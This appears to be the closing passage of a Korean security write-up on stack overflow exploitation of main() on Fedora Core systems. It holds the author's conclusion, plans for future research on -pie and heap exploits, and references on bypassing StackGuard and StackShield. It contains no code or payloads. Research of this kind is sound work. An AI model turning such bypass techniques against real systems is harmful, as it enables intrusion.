이상에서 달라진 main() 함수 stack overflow 공격 기법에 대해 연구해보았다. 내 생각에는 이 방법 말고도 여러가지 다른 방법으로 exploit이 가능할꺼라 믿고 있다. 더 훌륭하고 재미있는 exploit 기법을 발견하게 된다면, 나에게 메일로 연락주기 바란다. P.S: 요즘, 몇 개월동안 밀려있던 문서들을 벼락치기로 작성하고 있습니다. 머리 속에만 있는 내용들을 말로 끄집어내려니 설명하기 어려운 부분들이 많은 것 같네요. 지금도 그 내용들을 다 꺼내지 못한 것 같아 아쉬움이 남습니다. Fedora core 시스템 분석은 이제 이 정도로 해두려 합니다. 앞으로 -pie 쪽 exploit 기법이나 heap exploit 기법이 연구되면 또 재미있는 결과물들을 가지고 나중에 다시 찾아뵙도록 하겠습니다. 그동안 재미없는 문서들 이렇게 끝까지 읽어주신 여러분들께 진심으로 감사드립니다. 0x6) 레퍼런스 - Stack Shield: http://www.angelfire.com/sk/stackshield/ - The Frame Pointer Overwrite (klog) - BYPASSING STACKGUARD AND STACKSHIELD (Bulba and Kil3r ) - Fedora Core3 시스템 local 기반 랜덤 스택 무력화(?) 기법 (작성자: 유동훈) - Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법 (작성자: 유동훈) - Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법 #2 (작성자: 유동훈)